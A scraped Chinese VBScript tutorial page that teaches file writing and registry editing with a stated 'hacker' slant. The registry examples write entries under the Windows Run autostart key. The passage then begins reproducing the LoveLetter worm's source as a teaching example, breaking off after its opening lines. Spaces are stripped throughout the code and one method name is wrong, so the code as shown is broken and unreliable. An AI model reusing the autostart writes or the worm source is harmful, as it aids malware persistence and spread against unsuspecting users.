快速业务通道

vbscript,jscript脚本编程教学(1)

作者 佚名 来源 ASP编程 浏览 发布时间 2013-07-09
oop



最后说一下在文件中跳行

skip(x)跳过x个字符

skipline跳过一行

用法也很简单和前面一样,就不说了。





3、写文件

可以用forwriting和forappending方式来写

写有3各方法:

write(x)

writeline

writeblanklines(n)写入n个空行



来看一个例子:

*****************************************************************

data=”hello,Ilikescriptprograming”

setfs=createobject(“scripting.filesystemobject”)

if(fs.fileexists(“c:\2.txt”))then

setf=fs.opentextfile(“c:\2.txt”,8)

f.writedata

f.writelinedata

f.close

else

setf=fs.opentextfile(“c:\2.txt”,2,true)

f.writeblanklines2

f.writedata

f.close

endif

注意写完文件以后一定要关闭!!!!!!!还有就是,如果要读文件又要写文件,读完之后一定也要记得关闭,这样才能以写的方式打开。



好了关于文件都说完了,实际运用中还有可能牵扯到关于字符串的操作。

后面的1章里面,我打算写一点驱动器和注册表的内容,脚本编程内容也很丰富,我也只讲关于黑客方面的。今天好累啊,还有就是请大家不要在论坛灌水了,我每天都删贴,这样也不好,论坛是大家的,我每天写一些原创的东西也就是为了让我们的论坛和别的论坛有些不同,我一个人力量有限,还要靠大家的力量,我打算在论坛上找几个人一论坛的名义一起编个软件,这样我们的论坛也算有点名声。

很晚了,休息了。

#########################################################################################################################
Vbscript编程5

注册表,修改注册表是编程的一个基本技能,脚本编程当然也不例外。

这里,我就不再讲解注册表的基本结构。



1、读注册表的关键词和值:

可以通过把关键词的完整路径传递给wshshell对象的regread方法

例如:

setws=wscript.createobject("wscript.shell")

v=ws.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\nwiz")

wscript.echov



2、写注册表

有读就有写了,使用wshshell对象的regwrite方法

看例子:

path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"

setws=wscript.createobject("wscript.shell")

t=ws.regwrite(path&"jj","hello")



这样就把

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jj这个键值改成了hello.不过要注意:这个键值一定要预先存在。



如果要创建一个新的关键词,同样也是用这个方法。

path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love\"

setws=wscript.createobject("wscript.shell")

val=ws.regwrite(path,"nenboy")

val=ws.regread(path)

wscript.echoval



删除关键字和值

使用regdelete方法,把完整的路径传递给regdelete就可以了

例如

val=ws.regdel(path)

注意,如果要删除关键词的值的话一定要在路径最后加上“\”,如果不加斜线,就会删除整个关键词。





好了,最基本的脚本编程也就讲完了,其实脚本编写也很简单,你们看看下面这个曾经很出名的LoveLetter病毒的源代码,除了邮件那部分我没讲,其他的都是一目了然吧?

rembarok-loveletter(vbe)<ihategotoschool>
remby:spyder/ispyder@mail.com/@GRAMMERSoftGroup/Manila,Philip
pines
''注释:程序作者的签名(可能)

OnErrorResumeNext
dimfso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Setfso=CreateObject("Scripting.FileSystemObject")
''注释:FileSystemObject是M$VBVM系统中最危险的部分,它的功能十分强大

''从病毒使用FSO可以知道,通过修改注册表,可以轻易防止LoveLetter发作。


setfile=fso.OpenT

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号